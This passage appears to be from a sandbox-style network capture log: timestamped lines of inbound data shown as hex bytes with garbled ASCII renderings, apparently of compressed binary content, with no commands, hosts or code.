2022-07-20 17:08:50 UTC	3942	IN	Data Raw: d0 a4 21 a9 d3 65 36 45 9c a9 0a 95 f8 52 c8 a5 97 28 cd 84 f9 c1 56 e4 19 6c ff 00 6c 93 2b c8 53 1f 85 1b f2 87 f1 e4 6b 53 27 09 b6 40 30 dc c1 6d be 49 d6 c0 52 5b 6e 2c d8 e6 44 bf 7e 60 9c f0 a4 20 a9 1a 0a 92 b8 24 14 0a 2b 88 28 c2 0a 31 10 bc 78 45 a5 71 c2 e3 80 51 58 04 71 0b 8a c2 c2 c2 e3 95 85 c5 71 1f 00 2c 61 61 61 01 95 80 88 58 c2 c7 c6 16 10 40 2c 2c 22 32 b8 61 04 40 5c 56 17 14 02 e2 b1 95 c5 71 5c 70 9a c5 c3 29 90 e5 7e 30 46 b9 6a 31 e1 78 fe f8 61 70 5c 51 8c 94 5b 85 8f 8c 7d f1 43 e9 01 94 d6 ac 04 1a b8 2e 18 5c 32 b8 2e 3f 78 40 00 b0 b0 88 f8 c0 f8 e2 b0 80 58 58 58 58 58 58 58 ca c6 17 15 85 85 fc ae 2b 19 f8 c2 c2 c2 c2 c2 c2 c1 5c 70 b0 b0 b0 88 ca c2 c6 10 18 58 58 58 40 60 af e1 45 2f 02 2d 90 8c c4 a6 3b 91 8e 76 b4 b2 Data Ascii: !e6ER(Vll+SkS'@0mIR[n,D~` $+(1xEqQXqq,aaaX@,,"2a@\Vq\p)~0Fj1xap\Q[}C.\2.?x@XXXXXXX+\pXXX@`E/-;v
2022-07-20 17:08:50 UTC	3950	IN	Data Raw: 13 59 c9 78 9a bc 2d 5e 36 15 f8 ed 28 57 62 10 c4 51 85 81 78 98 8d 76 92 ea d9 5f 8c bf 14 21 5b 8a f1 05 e1 5e 12 84 0e 42 1e 21 d1 92 5d 19 0b 80 46 3c af 12 0c 68 58 08 10 87 d2 25 13 9f 81 f4 9c e2 10 27 21 65 65 72 4e 39 47 08 a3 f3 fc ff 00 46 7e 32 b3 f1 f4 b3 f2 02 64 79 27 e9 63 29 b1 72 06 3c 02 16 3e 30 bf f6 c1 f8 0d 5c 56 16 16 32 83 51 1f 00 65 36 37 39 08 8a e0 b8 e5 16 e1 60 ac 2f e3 fa 32 bf 84 d7 10 b3 f0 4a ca ce 54 67 ee 29 38 06 c9 91 f9 00 09 2e 1c 49 31 72 07 92 0d 25 0c 35 ae 24 a8 90 7f 14 65 ca e5 95 21 c2 79 5c 8a 0e 45 d9 5c 8a 7b be 89 25 67 08 39 02 0a 27 08 bb 09 ee c9 e6 b9 2e 45 72 f8 08 65 67 ed 83 27 c6 11 66 11 66 13 13 42 6b 0e 5b 10 4d ae 54 55 b0 ad 3a 2a 10 c3 b0 a5 2d 6f 61 fe c5 dc de ad f7 68 d9 6d dd 4b 6c d6 Data Ascii: Yx-^6(WbQxv_![^B!]F<hX%'!eerN9GF~2dy'c)r<>0\V2Qe679`/2JTg)8.I1r%5$e!y\E\{%g9'.Ereg'ffBk[MTU:*-oahmKl
2022-07-20 17:08:50 UTC	3966	IN	Data Raw: bc 4e 08 42 e2 99 51 ce 4e ac f8 90 9a 46 a1 69 c8 4c c4 3c 6e 42 30 57 85 e1 35 d2 35 32 e4 ad 50 da 7b 83 2d 21 3b 24 53 ea 62 b2 ac eb 0c 25 d5 f8 a1 58 b9 32 b3 98 9d 0f 24 ea 84 af c5 21 1a e4 2f c7 71 42 12 13 20 4d 8c 34 d4 f1 e6 9c 15 5e 1b 46 14 2b 44 d5 e3 8d a8 98 9a a4 7c 2a 49 61 6a 9a 58 9c 25 fc 57 19 a3 aa 13 84 61 17 0c 4a 72 9c d4 42 72 e6 51 25 60 af b0 b2 53 5c 98 e0 54 6c e4 a3 88 a3 19 09 df da 89 6b 83 e0 8b 12 44 1a 8b 11 44 14 41 58 fe 9f e1 63 e7 0b 0b f8 f9 c2 c2 c2 c6 16 10 18 40 e1 15 85 c5 16 e1 61 61 61 71 ca 64 65 78 09 42 b3 8a 15 09 4d a8 42 6d 54 da 99 4d ac 40 15 c8 4d 80 84 23 5b 2d 8d 5d 3d 6d bf ba 69 d5 9b 75 dd 36 fb f2 5c 5e 40 c2 68 c9 7c 8c 63 77 3b 71 4a 9c fe cb 9f 7b a4 98 86 87 c2 e9 8f 95 b0 43 61 b2 59 7c Data Ascii: NBQNFiL<nB0W552P{-!;$Sb%X2$!/qB M4^F+D\|*IajX%WaJrBrQ%`S\TlkDDAXc@aaaqdexBMBmTM@M#[-]=miu6\^@h\|cw;qJ{CaY\|
2022-07-20 17:08:50 UTC	3982	IN	Data Raw: 74 92 45 98 23 8d 8f 74 91 84 f8 83 91 d7 59 94 3a a7 e2 89 9b 5e 30 c3 1c ae 91 8f 33 07 73 63 ee bd 8d 8a c3 c0 63 9b 3a 87 59 6a 47 52 17 f4 6f 82 9d 16 cb fe 46 3b 10 dd 95 d4 99 a2 82 ee c2 1b 86 62 ef 2c 92 37 f5 a2 a5 c7 ec 3b 8e 8b 71 b7 de d2 7c 96 b5 bd 3f ad 59 d7 bf f7 16 bd 8d 8f a1 66 db dc e8 fb 5f d7 eb 43 73 a2 ec 22 67 51 fd c0 8e 26 f7 fa b2 d8 a7 2e c3 9d 5a 96 a6 2c 7d 78 e7 b1 34 f6 a1 b5 35 99 ef 52 9d cd fc 96 d2 86 3d 52 8d ce da 59 d6 30 be 79 ee cb 60 ed 3f 3a ca a2 fb 73 c9 7e 21 0b 2b 45 24 ae a0 e8 63 65 28 e0 37 f6 31 d6 6b ef db ff 00 32 dd 5c 90 e9 a8 cb 67 83 1b 65 f4 ee 3a f4 be 39 28 ed 3c 96 2b 79 2a 6b 36 54 40 7e c6 b3 1b 56 e6 af 4a b4 e4 45 4f ae 5d da dc b1 bf 90 c7 34 92 71 33 4c e9 43 9e 1a a2 70 6a 92 70 f6 6b Data Ascii: tE#tY:^03scc:YjGRoF;b,7;q\|?Yf_Cs"gQ&.Z,}x45R=RY0y`?:s~!+E$ce(71k2\ge:9(<+y*k6T@~VJEO]4q3LCpjpk
2022-07-20 17:08:50 UTC	3990	IN	Data Raw: 71 4d b1 dc b0 36 3a 51 c3 06 d7 d8 37 b6 fa 38 5f 62 43 a9 b7 b0 d4 4f b0 f6 bc fd 4a 0d a7 b9 6a 58 b1 1f 78 eb 53 dd d5 fb fb 55 5d fd 3b bf 6b b6 ba 6e bf bb f5 b5 4e 9d ec 7e 91 d5 fb d6 d3 5b eb 5e bb ad 69 84 c9 23 a2 91 a3 63 b7 a5 a9 8a bc 8f b5 28 9c 38 36 5f b1 e4 41 b3 b4 78 ec 14 f8 66 70 b9 a9 ff 00 23 1f 5a 86 3e a1 6f 4b d9 75 9d 8e b7 5b e1 1e 9b df 7e b8 d8 7b 3f 71 43 f5 df 68 24 ee bd 1b 69 ec 2d 3d 0f d3 2e b1 14 7a 2f 52 1e bd a0 a5 fa f5 d7 6a 33 5f ea ea 1a d6 41 eb 2d 34 0a 3e 9d ae 62 8b 41 4a 11 fe 17 5c f5 5e a5 7a a2 9d 78 ed fb 35 9a 0d 73 1c 75 94 de 0e 8b 5c 48 d4 52 09 fa 8a 98 1a b8 1a 5b ae 6b 1d f8 cf 28 41 65 ae 64 77 08 f6 27 af 47 b0 20 db 7a a2 df 46 eb ba 0d 43 2f 6a 77 57 ee c5 37 eb c6 f2 b6 d6 3e d7 e9 be bd db Data Ascii: qM6:Q78_bCOJjXxSU];knN~[^i#c(86_Axfp#Z>oKu[~{?qCh$i-=.z/Rj3_A-4>bAJ\^zx5su\HR[k(Aedw'G zFC/jwW7>
2022-07-20 17:08:50 UTC	4006	IN	Data Raw: ea bd 6d 3f eb af 61 6f b1 7b 77 b2 7a 1f 68 a5 b3 d1 37 7f ec 7b 5e c3 f5 e6 f3 51 b8 d0 56 d8 77 b9 3b df 4b bb a3 ec 1d 72 bd be d2 ef 60 74 2e 7b 6e b7 56 f6 dc fb 5b a8 f5 fd ae b1 dd cb dc 1b 7b 9d 83 a9 fb c3 d8 95 a9 fe b0 fb 4b 9c 1f ad 5e d6 84 c3 fa bb ec 86 1f ff 00 75 4e d8 d7 52 fd 50 d8 39 fd 8f f5 af 6f d7 69 6b fd 63 da 3b 7d ad 87 a2 fb 8d f6 d6 fd 76 ec fa e7 5b f5 67 6b ba 1d fa f5 b6 82 3d 3f ad fb 57 4c dc 7a 12 17 49 d0 76 7e dc ea ba 3b f5 d9 cd 8c 84 2f 62 7b 33 4b ea d8 fa 07 73 d7 fb 17 58 f8 86 2f f2 82 b7 ad 3f 6a f5 de d6 de 7b fa 30 3d 6f ee 3a ae af da 3d 53 54 4d d0 7f fa f4 63 bf 07 f7 c4 4c df 49 7b 98 35 b1 7e 8c 44 e3 ea 1e d7 18 8f 41 fa 3d 11 3e cd 93 5a fd 93 3d f6 78 fe c2 fb 74 b1 93 f5 9d 64 56 b4 be fb f1 8f d8 Data Ascii: m?ao{wzh7{^QVw;Kr`t.{nV[{K^uNRP9oikc;}v[gk=?WLzIv~;/b{3KsX/?j{0=o:=STMcLI{5~DA=>Z=xtdV
2022-07-20 17:08:50 UTC	4022	IN	Data Raw: 5d 12 86 df b4 dc d5 cf d9 36 b6 f6 8a a6 c0 4c e9 63 82 06 8b 8e 6d 8e ef ea 9f 6c 7e 05 3b f7 59 43 63 b4 86 11 ea dd 9d 1a d7 fd b7 a2 ec 1d 03 6f d7 24 9b b4 f7 de cf d4 37 3a 7d df a4 a9 ee 6b f7 4f 5a 6c a6 6e db d7 3b 4a 56 ba f7 46 f6 65 4d 6e d3 b7 7b a3 4e cb 9e ca ef 96 60 ee d6 bb 6d 9d 3f 7f 77 58 b7 69 de d7 d1 4b 5b a8 fa 03 5b eb 1a f1 fe bb fe a1 ee fd a7 ac ec 1e b8 b9 ea ee a7 e8 3f 57 68 3b 7d 2f db 0f 55 d3 a2 28 50 d6 6a fd b3 eb ef 4f 75 df 62 df fd ad fd 52 dd fa 4e 2e e9 ee 6b 27 ae fb 37 d5 37 2b fa 10 5b d0 c1 43 d0 3d d3 a5 6d 3a f7 69 02 f7 b8 7b 0d bd 9e c3 79 d5 8e 82 cc 7d af a0 56 f6 66 bb b7 fe 96 f5 bd 67 52 f7 97 5e 8b a6 ef e8 ed 47 6d bf fa 71 eb 3d 43 fb 4f ed 7f 4a eb 9d 23 71 de 3b 19 bf d8 7f 5c 2a be 1f 50 fa cf Data Ascii: ]6Lcml~;YCco$7:}kOZln;JVFeMn{N`m?wXiK[[?Wh;}/U(PjOubRN.k'77+[C=m:i{y}VfgR^Gmq=COJ#q;\*P
2022-07-20 17:08:50 UTC	4030	IN	Data Raw: d0 f6 4e f1 7d df a7 5d 7b 4b 5b b2 fe bb 68 77 ac b7 ea 4f 5d fa 6e 95 fe 9b d3 e4 e8 cf 65 5a db 51 eb ca 37 75 5e 9a 93 dd 3e 9e e9 f6 3d e7 fb 57 18 9b f6 3b f6 36 22 7f 61 bd ff 00 c2 3f d9 4f 79 bc d2 fd 97 f7 9f 2a df b6 1e e2 8d c7 f7 27 d9 35 0c 3f ba 7e c2 7c 71 fe ec 77 e8 44 3f bc 1d ab 0f fd e4 de 34 37 f7 bb 6f 1c 63 f7 ab 6b 24 75 7f 7c 24 81 1f df ed 40 66 bb f7 e7 53 25 78 ff 00 7d 7a f0 2d fd f4 ea 0e 77 ff 00 bf 77 48 e0 ff 00 df 2e 8a 4c bf bf 1d 16 34 ef df be 82 41 fd fc f5 db 94 9f bf fe bc 72 93 f7 df d7 e5 4f fb eb d0 00 b5 fb db eb fc 4b fb d9 d2 5d 3b bf 79 3a 7c eb ff 00 df ab a9 85 27 ee e7 45 b6 bb 27 ed 87 4a d9 b3 da 7e de 3b ed 53 1f b7 cc 10 6d 6f 8d 77 eb af b2 b7 6c b5 e9 ff 00 68 f4 d8 7b 2e 93 79 b0 bb 07 5b d8 e6 84 Data Ascii: N}]{K[hwO]neZQ7u^>=W;6"a?Oy*'5?~\|qwD?47ock$u\|$@fS%x}z-wwH.L4ArOK];y:\|'E'J~;Smowlh{.y[
2022-07-20 17:08:50 UTC	4046	IN	Data Raw: 56 fb ce c5 f4 ba 80 80 f4 90 f3 57 f9 76 1d 8b e8 c0 c4 ef a9 d7 54 62 00 20 ec ee 74 48 0d a1 b4 b0 4f a9 53 41 56 56 d0 4e 02 ea bd ba f6 6a a9 d8 1b 74 b6 9a aa 76 d8 fe fe 57 f7 03 34 c8 03 6a 2c d2 6b 30 f2 b6 fb a6 00 01 b0 23 98 9e 0b 2b 9d 87 52 63 27 91 a9 24 17 2f b5 01 02 18 f1 74 18 6f ed 53 43 04 dd 86 4e 9b b2 fa 69 da 3a 03 6a fd ca a2 af ee 85 7f 67 39 20 6f 45 ea 76 59 65 14 55 ed bf d9 99 53 b2 e5 01 a9 5f b7 5f b4 df ed d7 fd c8 b7 d8 ab ec eb fb 17 2c cb 9d 57 29 ba 40 c0 93 53 f2 4d c5 f1 e6 b5 aa f6 69 d9 a5 3d 83 76 6a a8 98 f6 5f b0 da d3 f6 a9 da 6f d9 35 ff 00 44 ce 42 c7 5d d3 82 fa f5 f6 9d 93 e9 a6 8a 68 aa 7e d5 15 47 b5 70 9d 6c 54 ec d5 53 b6 fa 1b 45 3f 67 d5 57 4d 95 95 b4 53 b3 65 6f 63 5f 69 5e d5 7f 78 4c ba 8e 22 ec Data Ascii: VWvTb tHOSAVVNjtvW4j,k0#+Rc'$/toSCNi:jg9 oEvYeUS__,W)@SMi=vj_o5DB]h~GplTSE?gWMSeoc_i^xL"
2022-07-20 17:08:50 UTC	4062	IN	Data Raw: 16 56 ae 67 ee 41 bf 20 0a 39 43 b0 d6 b2 81 57 6e f4 7a 50 c2 0f c4 87 45 70 3e 1e c2 aa 81 3a 75 4b 7d 9e 5b be 21 74 61 08 80 e2 32 27 19 66 00 d5 46 62 21 e4 7a 8e 48 07 d3 65 d3 8e 02 2f 40 05 4c 6b 65 0e a7 f3 cc 1e ef 05 0e a1 3e a0 29 c3 bc 26 aa 76 41 82 a0 0a 83 b9 62 db 93 90 57 de 86 7c 5b dc aa 37 30 ad de 3e 6a dd e1 5b bc 2b 77 85 6e f4 01 be 29 86 8f 28 2a ca 8a c8 ab 68 fb f4 97 16 da 9c 92 ae 7b d5 d3 17 55 40 a2 da f4 65 2e eb 29 47 28 a6 15 aa c3 bd 1f 4f 7a b8 f7 e2 8c 4d 68 4f be f5 44 58 1e 65 58 f7 a6 02 89 f2 a6 00 72 56 f0 5e 9f 05 e9 f0 40 b7 72 2e 07 25 e9 ee 54 1d da 0f 4a 0c e7 5d a8 a5 2e b1 05 d8 79 6a c8 47 a7 21 16 2e f2 c6 88 e6 98 9e 66 a4 6f de 54 46 71 d3 11 38 b3 a3 92 62 64 97 f7 ba 1f 5a 47 a6 62 f4 15 77 d7 44 63 Data Ascii: VgA 9CWnzPEp>:uK}[!ta2'fFb!zHe/@Lke>)&vAbW\|[70>j[+wn)(*h{U@e.)G(OzMhODXeXrV^@r.%TJ].yjG!.foTFq8bdZGbwDc
2022-07-20 17:08:50 UTC	4070	IN	Data Raw: 39 70 05 44 08 51 e4 5f f9 a5 20 4f 17 ae e5 d4 23 36 43 21 31 11 23 93 35 49 2d be ad 62 81 94 6a 1c 89 02 cc e7 66 b5 d2 e9 0b 34 81 14 a9 8c 44 9c 96 7f 53 b8 76 c1 0c 8c 4d 69 12 7c b8 53 85 f0 d4 8f 43 af 39 46 39 49 ca 24 63 f5 08 2c c4 8b b5 d9 4f f4 fd 03 29 74 c0 04 fe 2c a4 de 24 8b b6 a4 26 09 24 10 40 36 bb d1 ec 36 2f ac 23 53 9a af f9 81 0e 42 33 ea 08 80 f5 88 37 8b 33 ed dc 13 38 24 02 01 f0 ee 43 3d 47 e1 1f 8a 47 13 b9 4f c8 c4 96 d6 c2 98 6d 08 f4 01 31 e9 39 62 d6 d6 c7 00 7f 82 fa bf a7 9e 43 20 04 81 8b 83 17 2d 2d 85 ec 70 b1 52 89 a9 06 ff 00 9a 8e 65 ce 89 b4 75 3a d2 fc 40 73 8d 73 70 b6 e5 94 17 00 c8 51 b5 d0 83 ab 62 00 58 7c d0 dc 3c 17 4b 78 f0 08 ef 28 20 a2 77 f8 23 bf 48 47 79 47 40 e4 a9 89 0a 20 eb 3d c1 03 26 a8 70 c1 Data Ascii: 9pDQ_ O#6C!1#5I-bjf4DSvMi\|SC9F9I$c,O)t,$&$@66/#SB3738$C=GGOm19bC --pReu:@sspQbX\|<Kx( w#HGyG@ =&p
2022-07-20 17:08:50 UTC	4086	IN	Data Raw: ea 7d 4a d8 79 86 6e 45 19 8e b1 88 60 c0 65 d5 57 a1 e0 84 e7 d7 8b 82 ef d4 90 6e 40 83 c9 65 8f ea bf 4f 18 8c 23 ea 96 e9 4a c5 4e 66 7f 50 c8 bd 25 1e 02 8f f0 51 8c 7f c6 c5 f3 02 d4 d5 20 e1 c7 35 2e 88 99 98 af 98 80 20 e4 33 8a d5 b0 77 ad d7 d3 ce 44 a9 e7 17 0c 75 5a b8 8b 21 d3 60 41 bc 85 c7 fb 53 74 c0 88 06 85 fd 43 5b 60 ae 39 85 68 f7 2f 4c 79 8f 9a f4 8e 63 e6 bd 03 9f de bf eb ef 1f 35 ff 00 5f 78 5f f5 b1 55 82 af 4c af fa ca 63 09 15 ff 00 5c 97 fd 67 92 ff 00 ae 5c 97 fd 72 e4 57 fd 72 e4 57 a2 5c 8a f4 4b fb 4a f4 4b fb 4a f4 4b 91 5e 89 72 29 b2 4b 91 5e 99 72 2b d3 2e 45 7a 4f 22 ad 2e 4b d3 2e 4a d2 e4 ad 2e 4a c7 92 b1 e4 b3 90 d1 8f a4 62 4e b3 f0 54 75 5a 0d 66 8b 2f 57 a9 10 75 12 3e f4 dd 3e a4 4e e2 a8 1d 54 2a 37 30 9c f8 Data Ascii: }JynE`eWn@eO#JNfP%Q 5. 3wDuZ!`AStC[`9h/Lyc5_x_ULc\g\rWrW\KJKJK^r)K^r+.EzO".K.J.JbNTuZf/Wu>>NT*70
2022-07-20 17:08:50 UTC	4102	IN	Data Raw: 79 8b 90 35 a6 93 f1 5e 51 a3 3d 55 0f 05 94 b0 dd 65 42 a9 45 57 2a 81 b7 ac 15 16 bf 82 ba ba ba 77 51 cc 1d b1 d4 51 31 05 8d 99 01 2b b5 59 6a ec 3b a6 17 46 73 ab 59 fe 49 82 72 56 cd 49 c2 21 90 64 d0 ba 74 5a e9 ef ef 86 87 09 80 ae a4 33 c4 87 b5 be 68 44 80 e7 6a c9 20 2b a8 bd d0 88 be c2 a8 4a ae aa fb ee f1 54 15 61 cd fe 48 e6 e0 fb d6 78 48 81 21 96 43 58 37 08 75 a1 23 4b 55 88 40 f5 33 48 0c 09 7f e0 81 8c 58 0c 2a 56 5c 91 0f 88 15 5e af fc 55 df 82 71 2e e4 c6 7c 2a aa 40 e6 bd 43 bd 1e 9c c8 63 43 7e ea b0 44 e6 15 a2 70 42 30 99 67 6a aa 4c 28 c6 4e 77 6c 42 51 21 88 59 9f b9 18 80 4f 04 c1 91 80 8d ee 68 c8 9a 1e 36 4d 0c b9 b7 af 38 88 3b 0b 82 9f aa dc 02 72 42 2d ad 30 14 d6 57 9b 1b 1c 78 23 18 d4 3b d5 1e b1 72 7b bf 82 f3 77 2c Data Ascii: y5^Q=UeBEWwQQ1+Yj;FsYIrVI!dtZ3hDj +JTaHxH!CX7u#KU@3HXV\^Uq.\|*@CcC~DpB0gjL(NwlBQ!YOh6M8;rB-0Wx#;r{w,
2022-07-20 17:08:50 UTC	4109	IN	Data Raw: 5e 16 0a 79 86 e4 d8 b1 3d f6 de a4 fa 90 89 24 16 d5 b4 a7 3e 0a ba 97 1d 01 8b fc d3 29 1f e6 59 28 db 91 89 d8 c8 be b4 49 b8 7e e4 e7 10 51 91 ad 28 11 de fd c8 c8 58 0c dc 50 81 3e a8 82 89 6b 9d 8c b3 67 02 84 59 0f 36 6d ec 11 0e 03 ee 92 f5 90 cc 3d 23 de a8 58 ed 70 fc 95 53 81 de 7e 7a 1f 28 e5 a3 d3 1e 5a 2a a8 bc f1 1c 57 90 00 ab a2 aa 32 8b 50 ba fa a1 81 e6 8f 52 79 49 21 b1 b0 46 64 81 57 a3 a7 89 07 7b a3 3c c1 c9 7e 3b 17 94 82 f7 70 50 33 20 35 28 8c 20 5d cb d4 23 d5 cc c7 60 43 ad 33 98 c7 5b 56 ff 00 12 ea 5d 58 bb 90 44 86 d3 ab 66 f4 38 f8 28 1d a5 3c 85 91 70 c4 b9 e6 56 6d a3 c5 66 83 5a fc 70 52 62 6e 70 7c 57 99 f9 05 8f 25 8f 25 8f 24 cc 49 dd 54 2c 35 27 bb e0 3d ec 9a 58 26 90 04 6f 6e 1f 35 e9 1f dc 53 11 de 55 02 af 8a 62 Data Ascii: ^y=$>)Y(I~Q(XP>kgY6m=#XpS~z(Z*W2PRyI!FdW{<~;pP3 5( ]#`C3[V]XDf8(<pVmfZpRbnp\|W%%$IT,5'=X&on5SUb
2022-07-20 17:08:50 UTC	4125	IN	Data Raw: 4a 80 6c 4a 8a 24 7e 65 5d 43 44 75 65 d1 40 a4 4d 6b a0 8f e6 4f a2 22 28 b6 b5 00 2d 94 29 f4 f5 03 e0 87 4f 01 d8 28 32 24 8a 8c c4 23 29 54 9e d5 17 98 3b 03 ef b5 4e 12 00 39 76 ed 93 12 22 05 1e 58 cb f2 8d a8 c6 54 20 b1 e1 a0 cb 18 c4 91 bd 1c d6 2e e4 a6 54 d1 7e c5 0f 7a 00 bd 20 db 53 3a ba ea 62 f1 e1 75 10 75 23 5c 50 aa 91 73 ea 1b 91 dd 1f 04 15 57 4d b6 f8 a0 36 22 80 fe 59 78 78 aa 6b d1 0d c8 3f e5 1e 09 aa a9 a9 5b 1d 2c 4a 9f be 3a 42 91 df a2 52 3a 95 0a e9 3e af 8a a6 b5 5d 1c 02 e2 82 96 3e 64 17 4a d6 1e 2a 07 6f c5 1d ea 07 60 ee 53 3b 34 47 79 43 45 56 57 08 00 5d 16 52 89 21 ca 19 4d 59 8e 8b 77 68 07 52 01 91 25 4b 29 bb 78 28 0e a5 f2 8f 04 48 d4 99 d5 55 0a 05 ca f5 1e 48 09 54 17 16 18 86 07 81 aa 1d 1e a1 73 1a 38 d5 87 72 Data Ascii: JlJ$~e]CDue@MkO"(-)O(2$#)T;N9v"XT .T~z S:buu#\PsWM6"Yxxk?[,J:BR:>]>dJ*o`S;4GyCEVW]R!MYwhR%K)x(HUHTs8r
2022-07-20 17:08:50 UTC	4141	IN	Data Raw: ab da b5 b0 fb 2a f7 14 05 ae 68 aa a5 a8 92 c7 e9 56 bd eb a6 95 73 d2 b6 81 f5 35 77 3f 65 6a 05 74 ab 0a b5 eb a5 69 56 b7 c6 f5 a7 c2 df 0d 7e 3a 7c 35 e9 f0 bd b5 ad 7e 17 ad 6b c2 ba 55 ed 5a 7c 7e 7f 1d 2b 51 56 b5 0d 2a f6 ad 45 5c 12 2a e0 dc 1a d4 7c 2f 6a d7 e3 a5 5a b4 ad 2f 5a 1f 8f 8d 6b f0 b7 c2 d5 e3 5a 0a b9 ad 6b 51 57 ad 3e 11 e4 f2 4e d1 c3 24 9e 9f a8 11 99 10 da f7 90 a8 3b 57 fd a3 a5 72 78 1c 6c 4f 26 17 1e d7 93 3c 10 71 f7 69 e4 57 e8 c4 2f 99 88 3b 56 f6 3a d0 72 0d 98 02 0f 88 3d 0f d3 c2 ae 6a 2e 4f 9f 59 25 79 89 10 e3 42 3f a9 28 1f 88 86 3e 50 17 bf 7d 46 95 06 66 74 49 83 16 06 3c 98 eb 24 2e f6 92 33 29 74 2d 15 ec 1c 5e cc 47 5a 66 6c a4 96 19 01 ba 92 51 81 ed d7 5f b3 53 52 cb 1c 73 98 a3 3e 66 62 01 36 f0 be a6 8c b1 Data Ascii: hVs5w?ejtiV~:\|5~kUZ\|~+QVE\*\|/jZ/ZkZkQW>N$;WrxlO&<qiW/;V:r=j.OY%yB?(>P}FftI<$.3)t-^GZflQ_SRs>fb6
2022-07-20 17:08:50 UTC	4149	IN	Data Raw: af ad 75 ab 8f d1 d3 e3 6e df 1f 97 c2 df 1b 7e 85 fe 1a 8a b5 ab a7 c3 4a f2 d5 cd 5e b5 f8 69 5a fc 35 15 a6 95 7a b7 e8 6b 5a 7e 9e 95 c9 72 9c 14 0f 91 9b 8b 8b 24 b1 aa 38 8d 97 68 d6 45 66 04 6e 8c 79 80 b1 b9 1d 2b ff 00 30 f2 f3 48 fc b6 4b 2b 48 91 c6 22 47 04 93 ea 49 2d ec 1c b7 50 17 51 7e 84 d6 47 1b ee 45 cb c9 e2 f2 66 1e 8c 88 9b 60 8c 5b 74 8e 0e 84 bb 12 a2 ef a0 5d 01 b9 ac 6c 1f ed 37 35 2e 3e 3c b0 b0 9d e1 53 1c a9 26 b7 bb 10 6e a5 48 db b0 8b 10 c1 af 44 c8 c6 69 9d cb 3c 8d 61 af 8d 2e 36 0a 47 ea 28 62 cc d6 06 fd 46 83 ad 6e 9a 56 66 65 07 ce 2c 2f de c3 c2 9b 72 07 50 35 d4 91 73 f2 a5 10 ec 8d 1c 86 75 0c 4e d3 6d 6d e0 0f 7b 52 bc e8 06 32 6d 66 05 48 1b 58 e8 47 7b 1f 11 4d 34 41 55 77 de ec 4d 8d f4 03 e5 6a 31 ef 04 0b de Data Ascii: un~J^iZ5zkZ~r$8hEfny+0HK+H"GI-PQ~GEf`[t]l75.><S&nHDi<a.6G(bFnVfe,/rP5suNmm{R2mfHXG{M4AUwMj1
2022-07-20 17:08:50 UTC	4165	IN	Data Raw: 90 93 e6 24 58 8b f7 1e 14 92 94 55 b4 7e 98 5d 4f 97 a9 dd f2 bd 7a e6 ef b8 aa b3 05 b2 a8 3d 05 c5 77 f8 5b f4 3e 75 d7 e1 61 f0 eb 5a 7c 35 f8 e9 f7 d6 9f 0d 7e 16 02 ba 56 9f a3 a8 f8 69 56 15 d3 f4 6c 3f 43 a5 69 fa 37 35 ad 5f e3 a5 74 fd 0e ff 00 1e 95 a8 f8 58 d6 86 ad 56 ae b5 6b fe 85 cd 69 d6 b4 af 30 ab 6e b1 af 29 ab 8b 56 80 d5 80 37 af 3a d9 be 75 62 a0 8f a5 5e fb 4f cc 55 ae 2d f2 a3 dc d1 06 be b5 61 f0 b3 0a dd 56 61 af d6 ae a6 c2 ba ff 00 8d 58 1a d4 9a ef 5d ef 44 dc de b5 6a d0 e9 f0 d6 ba d7 53 5d 6b c7 e1 ad 5a af 57 fd 0d 2a d7 35 70 c6 ad 7a f3 00 6b 5a d2 b5 ad 2b 5a b7 e8 df e1 a7 fd 37 4a e9 5a 29 b5 5c 29 b5 7e 03 5f 81 87 d9 5a 46 6a cc 84 55 c8 d2 ae 74 f0 ae 95 6b 55 ff 00 75 6b 5a d7 9b a5 75 ab de b5 17 a8 b2 b9 dc 95 Data Ascii: $XU~]Oz=w[>uaZ\|5~ViVl?Ci75_tXVki0n)V7:ub^OU-aVaX]DjS]kZW*5pzkZ+Z7JZ)\)~_ZFjUtkUukZu
2022-07-20 17:08:50 UTC	4181	IN	Data Raw: be 1a 55 be 17 ab d6 bd 7e 1a 1a b0 35 61 5e 51 5d 07 c3 b5 58 57 4a b1 ad 3e 17 15 d7 e1 6b 57 85 58 56 b5 ad 68 0d 74 ad 05 74 b5 5d 9a d5 72 d7 a7 e5 79 ac 81 04 08 09 17 fc 4e 40 be d4 1f c4 7e 42 93 13 1e 13 8d c7 42 c5 d2 32 d7 77 24 5a f2 5b 43 f2 1d af 5a 56 bd 6b cb d6 ae 6b 73 eb 5f 2a de 7e ca 2e 2a ff 00 7d 5a f7 34 6f d6 ac 7a 8f d0 3e 35 7e f5 63 57 a3 6a eb d7 c2 b5 a4 c6 84 ae 4e 12 b5 cc 12 dc e8 05 ac ad d5 47 d2 ad c4 ca 0e 52 22 34 b0 1d 19 49 17 20 5f f1 00 7a 91 47 95 e7 a5 f4 e2 be c4 40 0b 3c 8f 6f c2 ab d4 fc fc 05 14 e6 72 49 c5 12 33 a6 34 7a 44 be 1a 77 b0 ee 6f 5a f4 ad a9 d4 56 ee b5 b1 45 cf ec 14 59 ce d5 1d 49 36 00 7d 4d 5a 29 3d 56 5b 92 07 f8 d3 45 8b 08 0e 41 01 f7 5f 69 23 43 d2 da 50 0f 11 04 0f 31 07 a9 b5 b4 1f 5a Data Ascii: U~5a^Q]XWJ>kWXVhtt]ryN@~BB2w$Z[CZVkks_~.}Z4oz>5~cWjNGR"4I _zG@<orI34zDwoZVEYI6}MZ)=V[EA_i#CP1Z
2022-07-20 17:08:50 UTC	4185	IN	Data Raw: d8 c6 9a 2a 02 4b 90 07 f1 37 e2 3f 75 21 00 dc 9d 45 ff 00 55 6d 85 4b 11 d4 df f5 d6 d2 42 20 f1 eb f7 77 34 63 46 05 86 b6 be bf 5a 6f 51 f6 80 3c c4 1d 45 fe 54 8f 02 24 78 ca 08 46 0c 37 10 3a 99 2e 7e ee c0 51 8e 42 5c dc ed 54 ee 0e a0 69 d4 54 50 46 1b 7c a6 c0 11 f8 7f c2 88 11 19 4a 30 da 15 6e 1a e2 fd fb 50 39 2e af 35 86 e0 2f b4 1e e0 7d 28 2c 20 32 8f 2d ba 5a 96 74 8d 0b bd c0 91 d8 d9 48 ee 07 7a 18 46 36 f2 12 5d f6 90 18 9f 95 ed f4 bf db 45 f1 23 90 12 3c a6 e1 7e e2 3c 7f 5d 34 b9 32 b1 f5 35 3b 94 36 bd 94 5e f5 b6 cb 18 3a eb a1 07 eb 42 4c 80 19 7b f4 d0 f6 d6 84 28 ca 6d d7 bd eb 12 3c 85 61 89 90 d2 08 b5 09 ea 11 d4 29 d6 da e9 7e fd b5 a7 e2 79 48 63 48 6e eb f9 79 1e 42 cc 4b 79 4c 87 a6 9f c3 